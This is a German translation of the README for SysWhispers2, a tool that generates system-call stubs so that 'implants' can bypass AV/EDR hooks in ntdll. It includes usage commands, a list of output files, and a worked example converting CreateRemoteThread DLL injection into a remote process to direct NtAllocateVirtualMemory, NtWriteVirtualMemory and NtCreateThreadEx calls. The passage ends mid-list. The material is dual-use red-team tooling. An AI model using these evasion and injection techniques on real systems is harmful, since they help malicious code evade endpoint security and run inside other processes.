
AV/EDR-Umgehung durch direkte Systemaufrufe.
SysWhispers hilft bei der Umgehung von Sicherheitsmaßnahmen, indem es Header/ASM-Dateien generiert, die Implantate verwenden können, um direkte Systemaufrufe durchzuführen.
Alle Kern-Syscalls werden unterstützt, und Beispieldateien sind im Ordner example-output/ verfügbar.
Die Verwendung ist fast identisch mit SysWhispers1, aber Sie müssen nicht angeben, welche Windows-Versionen unterstützt werden sollen. Die meisten Änderungen finden hinter den Kulissen statt. Es stützt sich nicht mehr auf die Syscall-Tabellen von @j00ru, sondern verwendet die Technik des "Sortierens nach Systemaufrufadresse", die von @modexpblog popularisiert wurde. Dies reduziert die Größe der Syscall-Stubs erheblich.
Die spezifische Implementierung in SysWhispers2 ist eine Variation des Codes von @modexpblog. Ein Unterschied besteht darin, dass die Funktionsnamen-Hashes bei jeder Generierung zufällig sind. @ElephantSe4l, der diese Technik bereits früher veröffentlicht hatte, hat eine weitere Implementierung auf Basis von C++17, die ebenfalls einen Blick wert ist.
Das ursprüngliche SysWhispers-Repository ist noch verfügbar, könnte aber in Zukunft veraltet sein.
Verschiedene Sicherheitsprodukte platzieren Hooks in User-Mode-API-Funktionen, die es ihnen ermöglichen, den Ausführungsfluss zu ihren Engines umzuleiten und verdächtiges Verhalten zu erkennen. Die Funktionen in ntdll.dll, die die Syscalls ausführen, bestehen aus nur wenigen Assembler-Anweisungen, sodass eine Neuimplementierung in Ihrem eigenen Implantat die Auslösung dieser Sicherheitsprodukt-Hooks umgehen kann. Diese Technik wurde von @Cn33liz popularisiert, und sein Blogbeitrag enthält weitere technische Details, die lesenswert sind.
SysWhispers bietet Red Teamern die Möglichkeit, Header/ASM-Paare für jeden Systemaufruf im Kern-Kernel-Image (ntoskrnl.exe) zu generieren. Die Header enthalten auch die notwendigen Typdefinitionen.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThread-DLL-Injektionpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Die Verwendung des Schalters --preset common erstellt ein Header/ASM-Paar mit den folgenden Funktionen: